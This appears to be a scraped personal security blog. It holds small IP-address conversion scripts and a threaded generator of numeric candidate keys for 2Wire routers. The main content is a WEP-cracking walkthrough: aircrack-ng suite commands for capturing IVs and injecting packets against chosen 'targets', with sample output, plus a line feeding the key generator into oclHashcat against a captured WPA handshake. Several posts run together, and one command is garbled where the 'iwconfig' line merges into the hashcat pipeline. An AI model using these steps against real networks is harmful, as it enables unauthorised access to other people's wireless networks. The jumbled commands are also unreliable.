GITHUB
Monday, January 7, 2013
0
comments
I decided it would be a good idea to start a GitHub to hold all my scripts.
https://github.com/initiate6
https://github.com/initiate6
Labels:
#convert 10digit decimal formated ipaddress to normal ipaddress #by init6 #blog.init6.me import sys def main(): #read file and convert each line to ip address. Comment out to ask for input. with open('c:\ipaddress.txt', 'r') as infile: for line in infile: print (convert(int(line))) infile.close() #ask for input (dec format) Uncomment to ask for input. #decIn = input("Enter 10 digit decimal formated ipaddress: ") def convert(decIn): if is32(decIn) == True: #convert dec to hex fullHex = hex(decIn).lstrip("0x") #Split hex number into four pairs hex1 = fullHex[0:2] hex2 = fullHex[2:4] hex3 = fullHex[4:6] hex4 = fullHex[6:8] #Convert each hex to decimal then to a string and return ip address. ipAddr = ( str(int(hex1,16)) + '.' + str(int(hex2,16)) + '.' + str(int(hex3,16)) + '.' + str(int(hex4,16)) ) return ipAddr #Checks to see if input is a 32bit int or less to make sure its a vaild ip address. def is32(n): try: bitstring=bin(n) except (TypeError, ValuueError): return False if len(bin(n)[2:]) <= 32: return True else: print ("Not a vaild 32bit 10 digit decimal") return False main()
#convert ip address to a 10digit decimal formated ipaddress. #by init6 #blog.init6.me import sys def main(): ipAddr = raw_input("Type in IP Address to convert to 10digit decimal: ") print ( convert(ipAddr) ) def convert(ipAddr): out = ipAddr.split('.') octets = [int(out[0]), int(out[1]), int(out[2]), int(out[3])] hexNum = '{:02X}{:02X}{:02X}{:02X}'.format(*octets) return int(hexNum, 16) main()
#!/bin/bash ip_addr=`curl -s http://cmyip.com | w3m -T text/html -dump | grep -o -E '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}'` echo $ip_addr
#Python 3 #Name: 2wire.py #by: INIT_6 #Count from 0000000000 - 9999999999 skipping any numbers that repeat them selfs more then 3 times like 333 import sys from threading import Thread def count1(first, ver): MAX_INT = 999000000 BAD_PATTERNS = {x * 3 for x in '0123456789'} # Use xrange for Python 2.7 for number in range(MAX_INT): int_string = str(number).rjust(9, '0') if any(pattern in int_string for pattern in BAD_PATTERNS): continue print ( str(first) + str(number).rjust(9, '0') ) if __name__ == '__main__': for x in '0123456789': try: Thread(target=count1, args=(x,1)).start() except: # Exception, errtxt: print ( errtxt )
#airmon-zc start wlan0 #airodump-ng --encrypt wep mon0
You should see several AP. Record the BSSID, ESSID, and Channel along with any associated clients shown at the bottom of airodump-ng.
Once you find a couple targets on the same channel. You need to close airodump and stop airmon
#airmon-zc stop mon0
Start airmon-zc on the channel of the target. (with WEP its not as necessary to lock the channel in on the driver as you have to with WPA)
#airmon-zc start wlan0 <Channel Number>
Then start airodump on the same channel along with some other options.
#airodump-ng mon0 --encrypt wep --ivs --write <FILENAME> --output-format pcap -a --channel <Channel number>
Now you need to inject packets. This will send packets to the access point as the other associated client generating your golden IVS you need to crack the WEP.
#aireplay-ng mon0 -1 0 -e "essid" -a <access point MAC address> -h <MAC address of an associated client>
If the above isn't generating any IVs you might need to tweak your command line.
#aireplay-ng mon0 -1 <a number between 30-6000> -o <a number between 1-30> -q 10 -e "essid" -a <access point MAC address> -h <MAC address of an associated client>
Success looks like: (Stole this output from http://www.aircrack-ng.org)18:22:32 Sending Authentication Request
18:22:32 Authentication successful
18:22:32 Sending Association Request
18:22:32 Association successful :-)
18:22:42 Sending keep-alive packet
18:22:52 Sending keep-alive packet
# and so on.
Here is an example of what a failed authentication looks like:8:28:02 Sending Authentication Request
18:28:02 Authentication successful
18:28:02 Sending Association Request
18:28:02 Association successful :-)
18:28:02 Got a deauthentication packet!
18:28:05 Sending Authentication Request
18:28:05 Authentication successful
18:28:05 Sending Association Request
18:28:10 Sending Authentication Request
18:28:10 Authentication successful
18:28:10 Sending Association Request
You can also do a ARP request replay attack. Either at the same time or in lieu of the above attack.
#aireplay-ng mon0 -3 -b <MAC address of Access point> -h <MAC address of associated client>
Here is what the screen looks like when ARP requests are being injected: Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 629399 packets (got 316283 ARP requests), sent 210955 packets...
Now to crack the IV's you have obtain. There are a lot of different options at this point. For example. AT&T U-verse default wep is only numbers. Verizon FIOS wep is 0-9A-F. Doing home work on the default SSID might lead to a quicker crack.
Side note: if you run:
#iwconfig wlan0python 2wireWPAiter.py | ./oclHashcat-plus64.bin -m 2500 -a 0 --gpu-accel=160 --gpu-loops=1024 ../dir/2WIREHandShake.hccap
With a AMD driver 12.8 and SDK 2.7 I get about 86K keys per second. With the built in brute-force I get 114K keys per second. Still working on how to improve my out put speed.
#airmon-zc start wlan0
#airodump-ng --encrypt wpa mon0 -----BEGIN PGP PUBLIC KEY BLOCK-----Version: GnuPG v1.4.11 (GNU/Linux)mQENBFAO644BCADWwrMCmSCOTUyf2iCoYihC2xP41/sj7bJurFBVY9G6n/SlJdYApOtxBVu4TszWWlj3IxIKFwGwpj6zOzfQo8sXBd6CjNATWTB9DE5fFdhRyfFbangWesJOTUwpZ6+Zf2YD9zF7Wxy8ZwZck9vouZ7MvKph5sOKgRsAtBLR7ai30vS1iEUqU0pk3F09eFyhIEj7p184ihYn1lux/ecw+Vw7fpwmn6NcY8T7KMAtcVPFZ3knuHUHOiAp5IEHH2+Wd/f+nLN4CYW9q3i0zXQtPBN94kyNX9bt6tK64c/u97B4zL/B5C44mXHmG6CN66my4gcpbv/HfA1GkqpLUx1c1gARABEBAAG0N0lOSVQgU0lYIChjcmFjay5tZS5pZi55b3UuY2FuLmNvbnRlc3QpIDxpbml0NkBpbml0Ni5tZT6JATgEEwECACIFAlAO644CGwMGCwkIBwMCBhUIAgkKCwQWAgMBAh4BAheAAAoJECKpD3aOBdL6w+cIAJGl2Un/nJrsryo+th3WpYCTukr56vUwujhoat3U55xFDztkwp527GDLUUPgrr2nCipODVDB+z3iVYYnDxGhziqkEX418YWbaSdJux2hzf6RM+NO9c8GcO/93LbaQrPF2ypeCele+fgc4P0zEZgHpYwByGF9sqfc3xt9OouDc5P2XbXu1DEDPpZZTyuBBzUdhMd+KrTDLiKWOBcXIln3q5oe6yiJ/zwEpxC9znEd8ze2k5S6jXP9QFnckc7UZw0hHpH5ruLboWwrvJhij4obQmRbAFRF37yRmqynZS8HhrDf2+jQaCptH3eaNgT4j4dU4e6fLxoApXcU169xhPqtTUy5AQ0EUA7rjgEIAKF3tnXd8s5jl/5V8aKpZWLRDJY317zYjihKNAnY1zB3zdLkw9B/FpcGhMyGU2bvZ4YGEg+XEkpePFCJ7iEtP9iOF05Gvu4fvt62WyWzd18kQZpYo0aaBqf4EDre3NU8n4mGkHkFeUDqKbG8bcBB/OzG+J+oI/PWM6CEmaz0vTh0B2gz7Ra94SE9OgGBl2pFw8RkJ///UNerYZtKKmoAx2AZWpxkxmun41iI9eyELX9VWhqCay5amy/r4mvEdKWg/Q5FNiwu6uIDVGqtDp+0t1YqGHwm2KMWg838W9De2ZFH/lcUapA9pNFw880UoUtIMbb/fr4iwhmqoB9hscWNvukAEQEAAYkBHwQYAQIACQUCUA7rjgIbDAAKCRAiqQ92jgXS+tkmB/oDFFE3j6TVtT1XbfJmHZgpls8fu8cFSuv+HDPUM+ULpL1Ld0BogM6kCSlrtjetW5kS3lHXhitYylS53A73HKtWTTauASjZYmHfOhoZiAu3KyLz++bgWYM5mDovLEgYs6IUCtEYYIzs5v9S2ZoSzPWVG+Z+pgcxZOqcvrVyT9W+avnYwNTZYPwSut5CmTe4ovBT+3+6zkujzeix96NG/zNAEUXICT5kN59/044QnoaQJPRDVpoBF3e3/o+VoPqCPQpBrq81kyahSsYKEdeJomk/yUL+2ZQJbx2ymEfuC1RMGuIOYuYfsYNapDk0ridyKhasP3WNw7RJDu6d26Xn7LBR=K5vm-----END PGP PUBLIC KEY BLOCK-----